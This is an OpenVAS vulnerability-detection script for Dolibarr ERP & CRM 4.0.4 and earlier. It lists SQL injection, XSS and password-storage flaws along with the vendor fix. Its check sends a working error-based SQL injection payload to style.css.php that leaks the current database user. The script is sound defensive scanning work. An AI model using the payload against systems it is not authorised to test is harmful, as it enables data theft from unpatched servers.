Dolibarr ERP & CRM <= 4.0.4 Multiple Vulnerabilities

2017-05-15T00:00:00
ID OPENVAS:1361412562310108160
Type openvas
Reporter Copyright (c) 2017 Greenbone Networks GmbH
Modified 2017-08-02T00:00:00

Description

This host is running Dolibarr ERP & CRM and is prone to multiple vulnerabilities.

                                        
                                            ###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_dolibarr_404_mult_vuln.nasl 6834 2017-08-02 12:03:22Z asteins $
#
# Dolibarr ERP & CRM <= 4.0.4 Multiple Vulnerabilities
#
# Authors:
# Christian Fischer <christian.fischer@greenbone.net>
#
# Copyright:
# Copyright (c) 2017 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

CPE = "cpe:/a:dolibarr:dolibarr";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.108160");
  script_version("$Revision: 6834 $");
  script_cve_id("CVE-2017-7886", "CVE-2017-7887", "CVE-2017-7888", "CVE-2017-8879");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"$Date: 2017-08-02 14:03:22 +0200 (Wed, 02 Aug 2017) $");
  script_tag(name:"creation_date", value:"2017-05-15 10:42:44 +0200 (Mon, 15 May 2017)");
  script_name("Dolibarr ERP & CRM <= 4.0.4 Multiple Vulnerabilities");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (c) 2017 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_dolibarr_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("Dolibarr/installed");

  script_xref(name:"URL", value:"http://seclists.org/oss-sec/2017/q2/243");
  script_xref(name:"URL", value:"https://www.foxmole.com/advisories/foxmole-2017-02-23.txt");
  script_xref(name:"URL", value:"https://github.com/Dolibarr/dolibarr/issues/6504");

  tag_summary = "This host is running Dolibarr ERP & CRM and is prone to multiple vulnerabilities.";

  tag_impact = "Successful exploitation will allow an attacker to execute arbitrary HTML and
  script code in a user's browser session in the context of a vulnerable site and to cause
  SQL Injection attacks to gain sensitive information.

  Impact Level: Application/System";

  tag_affected = "Dolibarr version 4.0.4 is vulnerable; other versions may also be affected.";

  tag_insight = "Multiple flaws exists:

  - SQL Injection in /theme/eldy/style.css.php via the lang parameter.

  - XSS in /societe/list.php via the sall parameter.

  - storing of passwords with the MD5 algorithm, which makes brute-force attacks easier.

  - allowing password changes without supplying the current password, which makes it easier for
  physically proximate attackers to obtain access via an unattended workstation.";

  tag_solution = "Upgrade to Dolibarr ERP/CRM version 4.0.7/5.0.3/6.0.0 or later. For updates refer to https://www.dolibarr.org";

  script_tag(name:"impact", value:tag_impact);
  script_tag(name:"affected", value:tag_affected);
  script_tag(name:"insight", value:tag_insight);
  script_tag(name:"solution", value:tag_solution);
  script_tag(name:"summary", value:tag_summary);

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_app");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if( ! port = get_app_port( cpe:CPE ) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) ) exit( 0 );

if( dir == "/" ) dir = "";

url = dir + "/theme/eldy/style.css.php?lang=de%27%20procedure%20analyse(extractvalue(rand()%2cconcat(concat(0x3a,CURRENT_USER())))%2c1)--%201";

if( http_vuln_check( port:port, url:url, check_header:TRUE, pattern:"Latest database access request error:</b> SELECT transkey, transvalue FROM (.*)overwrite_trans where lang=" ) ) {
  report = report_vuln_url( port:port, url:url );
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );